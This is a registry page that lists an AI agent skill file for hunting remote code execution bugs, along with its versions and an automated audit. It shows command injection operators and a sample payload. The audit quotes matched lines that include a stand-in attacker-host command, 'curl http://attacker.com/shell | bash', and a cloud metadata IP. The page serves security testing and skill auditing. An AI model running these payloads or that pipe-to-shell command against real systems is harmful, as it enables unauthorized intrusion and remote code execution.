hunt-rce SKILL.md skillC
hunt-rce from novaestellar/novahaku is an agent skill: a SKILL.md folder an AI agent loads when a task calls for it.
mdr add novaestellar/novahaku/hunt-rce@git:20260910.546fe86Pins git:20260910.546fe86 in mdr.lock. Pin the fingerprint instead.
- Audit grade
- C, 14 of 17 checks passed
- Kind
- SKILL.md skill
- Repository
- novaestellar/novahaku
- Path
testing/hunt/hunt-rce/SKILL.md- Versions recorded
- 3
- Latest version
- git:20260910.546fe86, committed Sep 10, 2026
- First version recorded
- Sep 3, 2026
- Size
- 30,313 bytes
- Repository stars
- 28
- License
- MIT
Hunting skill for rce vulnerabilities. Built from 67 public bug bounty reports. Use when hunting rce on any target.
Collected from public GitHub. Every version is saved exactly as it was and never changes. Install it at an exact version with the mdr tool, and every file is checked before it reaches your agent. The main file is checked against the SHA-256 fingerprint recorded here, and the others against the fingerprints GitHub keeps for its source commit. The automatic checks below grade the latest version, and the same checks always give the same file the same grade.
What the file says
## Autonomous Testing Priority
**Content-type is the #1 silent failure mode for command injection.**
Traditional web forms use `Content-Type: application/x-www-form-urlencoded`. If you send a JSON body (`{"host":"127.0.0.1;id"}`) to a form endpoint, the server reads `request.form['host']` and gets nothing — the app executes normally with no injection, returning a plausible 200 response. You get a false negative with no indication anything went wrong.
**Rule:** If the page has an HTML form (`<form method="POST">`), use form-encoding. If the path is `/api/...` or the response is JSON, use JSON.
**Command injection operators to try (in order of prevalence):**
```
value;id ← Unix semicolon (most common)
value|id ← pipe
value&&id ← AND
value$(id) ← subshell
value`id` ← backtick
```
**Proof:** OS command output (`uid=N(username) gid=...`) in the response body confirms code execution. The output may be HTML-wrapped — that still counts. If the response is otherwise normal (200, expected content) with the command output appended or embedded, exploitation is confirmed.
---
## Crown Jewel Targets
…Read the whole file at its exact version.
How to install
mdr add novaestellar/novahaku/hunt-rce@sha256:52c60694ad8ce0f4The line at the top of this page pins the label git:20260910.546fe86, which is what most people want. This one pins the sha256 fingerprint of the contents instead, so it survives a label being moved. Either way the exact version is written to mdr.lock, and mdr install downloads and checks those contents again, so it installs them exactly or stops with an error.
[](https://markdownregistry.com/a/art_5mfqgojmqtqjyq3g)
4 badge image fetches in 30 days. What the badge shows.
Versions
The registry has recorded 3 versions of this file, between Sep 3, 2026 and Sep 10, 2026, about one every 3 days.
| version | committed | commit | size | audit | |
|---|---|---|---|---|---|
| git:20260910.546fe86 latest | 2026-09-10 | 546fe86 | 30,313 B | C | view · diff |
| git:20260903.29924dd | 2026-09-03 | 29924dd | 30,325 B | C | view · diff |
| git:20260903.fa855c4 | 2026-09-03 | fa855c4 | 30,296 B | C | view |
Audit of the latest version
- fail: No curl or wget piped into a shell (matched: curl http://attacker.com/shell | bash)
- fail: No link to a raw IP address (matched: http://169.254.169.254)
- fail: No script tag (matched: <script)
- pass: Frontmatter block present
- pass: Frontmatter declares a name
- pass: Frontmatter declares a description
- pass: Size between 200 bytes and 200 KB (30313 bytes)
- pass: No zero-width or bidi control characters
- pass: No instruction hidden inside an HTML comment
- pass: No link to an exfiltration or paste host
- pass: No credential-shaped string
- pass: No instruction to send local credentials anywhere
- pass: No text hidden with inline styles
- pass: No prompt-injection phrasing
- pass: No recursive delete of root, home or parent
- pass: No instruction to read or print local credentials
- pass: No base64 blob over 200 characters
Starting a new one? Use a template for SKILL.md on mdpantry, which passes every one of these checks and says what to change in it.
Source
novaestellar/novahaku · 28 stars · license MIT · pushed 2026-09-28 · branch main
API
GET https://markdownregistry.com/api/v1/artifacts/art_5mfqgojmqtqjyq3g GET https://markdownregistry.com/api/v1/resolve?ref=novaestellar/novahaku/hunt-rce GET https://markdownregistry.com/api/v1/blob/52c60694ad8ce0f4222f71b5b23f34a710b3f898a76a9d8ef5627a13162bb72f
Your AI assistant does the legwork. You hear about the deals worth your word. Hand yours the standing instructions at modelranch.com and it joins the network that reads files like this one.
Guides: the SKILL.md format and its required fields · what to check before you install a skill · how to pin a skill to an exact version · where to find agent skills · keeping a team on the same skills · which agent file does what.
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